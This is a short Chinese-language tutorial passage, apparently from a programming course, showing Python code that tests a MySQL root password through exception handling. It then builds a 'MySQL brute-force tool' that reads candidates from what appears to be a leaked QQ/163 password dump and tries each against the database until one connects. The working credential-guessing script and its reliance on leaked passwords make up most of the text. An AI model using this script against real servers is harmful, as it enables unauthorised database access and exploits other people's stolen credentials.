异常
安装了sql数据库,如何测试密码,利用异常,这是第一步。
import pymysql
def CheckPassword(passwordstr):
try:
db=pymysql.connect("127.0.0.1","root",passwordstr)
db.close()
print("密码正确",passwordstr)
except:
print("密码错误",passwordstr)
CheckPassword("111111")
爆破Mysql工具
整个逻辑跟之前差不多,先写入一个输入密码的chekpassword,那用什么输入,用之前qq的密码本,一个个试。
import pymysql
def CheckPassword(passwordstr):
try:
db=pymysql.connect("127.0.0.1","root",passwordstr)
db.close()
print("密码正确",passwordstr)
return True
except:
print("密码错误",passwordstr)
return False
passwordfilepath=r"Z:\D\第一阶段视频\20170531\NBdata\qqAnd163Password.txt"
passwordfile=open(passwordfilepath,"r")
while True:
line=passwordfile.readline()
if not line:
break
linelist=line.split(" # ")
password=linelist[0]
if CheckPassword( password):
break
else:
pass
passwordfile